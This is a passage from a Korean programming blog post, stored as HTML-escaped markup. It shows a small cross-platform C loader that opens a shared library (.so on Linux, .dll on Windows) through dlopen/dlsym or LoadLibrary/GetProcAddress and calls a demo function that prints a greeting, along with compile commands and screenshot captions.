나&amp;nbsp;&lt;b&gt;&lt;i&gt;GetProcAddress()&lt;/i&gt;&lt;/b&gt; API의&amp;nbsp;인터페이스와 비슷하여 친숙함을 느끼실 수도 있을 것 같습니다. 실제 &lt;b&gt;&lt;i&gt;Windows OS&lt;/i&gt;&lt;/b&gt;에서도 특정 DLL파일을 열고 내부에 구현되어 있는 API를 실행 할 때에 위와 같은 인터페이스의 API를 사용합니다. 플랫폼 자체가 다르기에 내부 구현 자체는 다르게 되어 있을지라도 인터페이스가 비슷하다는 것을 비교해 볼 수 있도록&amp;nbsp;아래의&amp;nbsp;소스코드를 참조 하실 수 있습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;/*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&amp;nbsp;loader.c&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* - Compile &amp;amp; Execute&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&amp;nbsp; &amp;lt;+&amp;gt; Linux&amp;nbsp; : gcc -Wall -o loader loader.c -ldl &amp;amp;&amp;amp; LD_LIBRARY_PATH=. ./loader&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&amp;nbsp; &amp;lt;+&amp;gt; Windows: cl loader.c /D&quot;WIN32&quot; &amp;amp;&amp;amp; loader.exe&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*/&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#ifdef WIN32&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; include &amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define EXT&amp;nbsp; &amp;nbsp;&quot;dll&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;# else&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define EXT&amp;nbsp; &amp;nbsp;&quot;so&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; include &amp;lt;dlfcn.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define LoadLibrary(soname) dlopen(soname, RTLD_LAZY)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define GetProcAddress dlsym&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define FreeLibrary dlclose&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#endif&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#define SONAME&amp;nbsp; &quot;teamcrak.&quot; EXT&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#define FUNCNAME &quot;library_call&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;int main(void)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int ret;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; void *dl = NULL;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int (*func)(void) = NULL;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((dl = LoadLibrary(SONAME)) == NULL) {&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stderr,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] Can not load library: %s\n&quot;, __FILE__, SONAME);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; goto failed;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[%s] Loaded a library successfully: %s\n&quot;,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __FILE__, SONAME);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((func = (int (*)(void))GetProcAddress(dl, FUNCNAME)) == NULL) {&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stderr,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] Not found %s() function from the library.\n&quot;,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __FILE__, FUNCNAME);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; goto failed;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] Loaded %s() function from '%s'\n&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;[%s] %s() address: %p\n&quot; ,&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __FILE__, FUNCNAME, SONAME, __FILE__, FUNCNAME, func);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[%s] - FUNCTION CALL START\n&quot;, __FILE__);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ret = func();&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[%s] - FUNCTION CALL END\n&quot;, __FILE__);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fprintf(stdout, &quot;[%s] Return value: %d\n&quot;, __FILE__, ret);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;failed:&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(dl != NULL)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FreeLibrary(dl);&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;/*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* teamcrak.so.c&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* Coded by TeamCR@K&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* http://teamcrak.tistory.com&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;* - Compile&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&amp;nbsp; &amp;lt;+&amp;gt; Linux&amp;nbsp; : gcc -Wall -shared -Wl,-soname,teamcrak.so -fPIC -o teamcrak.so teamcrak.so.c&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*&amp;nbsp; &amp;lt;+&amp;gt; Windows: cl teamcrak.so.c /D&quot;WIN32&quot; /TC /link /dll /out:teamcrak.dll&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;*/&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#ifdef WIN32&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; include &amp;lt;io.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define write _write&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define TeamCRAK __declspec(dllexport)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define COMMENT &quot;Dynamic Link Library&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;# else&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define TeamCRAK&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#&amp;nbsp; define COMMENT &quot;Shared Object&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;#endif&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;TeamCRAK int library_call(void)&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;{&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char *msg = &quot;[*] Welcome to &quot; COMMENT &quot;'s world!\n&quot;;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; write(1, msg, strlen(msg));&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 1337;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;}&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;위 소스코드는 같은 인터페이스를 가진&amp;nbsp;DL 라이브러리의 함수들과 Windows API를 전처리하여 Windows/Linux 양쪽 플랫폼에서 컴파일과 실행을 할 수 있도록 구현된 소스코드입니다. loader.c는 &lt;b&gt;&lt;i&gt;teamcrak.so&lt;/i&gt;&lt;/b&gt; /&lt;b&gt;&lt;i&gt; teamcrak.dll&lt;/i&gt;&lt;/b&gt; 파일을 로드하고 해당 라이브러리에 존재하는 &lt;b&gt;&lt;i&gt;library_call&lt;/i&gt;&lt;/b&gt;이라는 함수를 실행하도록 합니다. teamcrak.so.c는 컴파일 되어 *.so 형태나 *.dll 파일로 만들어지고 내부에 구현되어 있는&lt;b&gt;&lt;i&gt; library_call() &lt;/i&gt;&lt;/b&gt;함수를 실행하면 플랫폼 환경에 맞도록 특정 문자열을 출력하도록 되어 있습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;아래는 위 소스코드를 각각 Linux와 Windows 플랫폼에서 컴파일 하고 실행해 본 화면입니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 671px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9929BE475A7361761F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9929BE475A7361761F&quot; width=&quot;671&quot; height=&quot;468&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 4]&amp;nbsp;Linux 플랫폼에서 실행한 Shared Library 로더&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 637px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F82D4E5A73618622&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F82D4E5A73618622&quot; width=&quot;637&quot; height=&quot;564&quot; filename=&quot;6.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;[그림 5]&amp;nbsp;Windows 플랫폼에서 실행한 DLL&amp;nbsp;로더&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;b style=&quot;font-size: 12px; color: rgb(45, 44, 45); font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;위 테스트 화면을 보면 Linux 플랫폼에서는 &quot;&lt;b&gt;&lt;i&gt;Shared Object&lt;/i&gt;&lt;/b&gt;&quot;로, Windows 플랫폼에서는 &quot;&lt;b&gt;&lt;i&gt;Dynamic 